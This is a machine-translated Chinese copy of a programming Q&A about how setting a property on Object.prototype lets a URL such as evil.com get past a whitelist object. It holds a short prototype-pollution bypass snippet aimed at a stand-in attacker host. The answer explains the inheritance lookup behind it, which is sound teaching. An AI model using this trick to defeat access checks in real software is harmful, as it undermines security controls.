[英]javascript what is Object vs Object.prototype when used in Object.create's proto parameter
[英]What is the semantics of Object.prototype when used like this
我對Java腳本及其基於原型的模型有一點經驗,但是我有以下Java腳本片段,這些片段演示了我不了解的跨站點腳本攻擊的問題。 調用Object.prototype時會發生什么,如何更新白名單數組?
function send (u,m) {console.log(m);}
function protect ( send ) {
var whitelist ={" https :// microsoft . com / mail ":true ,
" https :// microsoft . com / owa ": true };
return function (url , msg) {
if ( whitelist [ url ]) send (url , msg);
};
} send = protect ( send );
Object . prototype [" http :// evil . com "]= true ;
send (" http :// evil . com ", " bypass !");
調用Object.prototype時發生了什么
線
Object.prototype [" http :// evil . com "] = true;
確實只是在Object.prototype
上創建一個值為true
的屬性。 這里什么也沒有發生。
白名單數組如何更新?
whitelist
不是數組,而是用於地圖的對象。 作為所有對象,它確實繼承自Object.prototype
。
在調用受保護的send
函數之前,不會發生任何奇怪的事情。 在那里,它將通過傳遞的url
查找為whitelist
的屬性。 現在白名單不具有此屬性(本身),因此-這就是原型繼承起作用的地方-它檢查確實繼承自的對象。 確實Object.prototype
確實具有這樣的屬性,查找將產生true
,並且您的條件意外得到滿足。
演示跨站點腳本攻擊問題的Javascript代碼段
我不會將其稱為XSS攻擊。 它只是演示了強大的原型繼承是什么,以及與其他代碼混淆的容易程度(以及大多數protect
任何東西的嘗試都是多么的骯臟)。
但是,實際的攻擊媒介以及您的安全問題是像Object.prototype[…]=true;
這樣的惡意Object.prototype[…]=true;
首先將在您的環境中進行評估。 如果您無法控制誰執行代碼,那將是不安全的。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.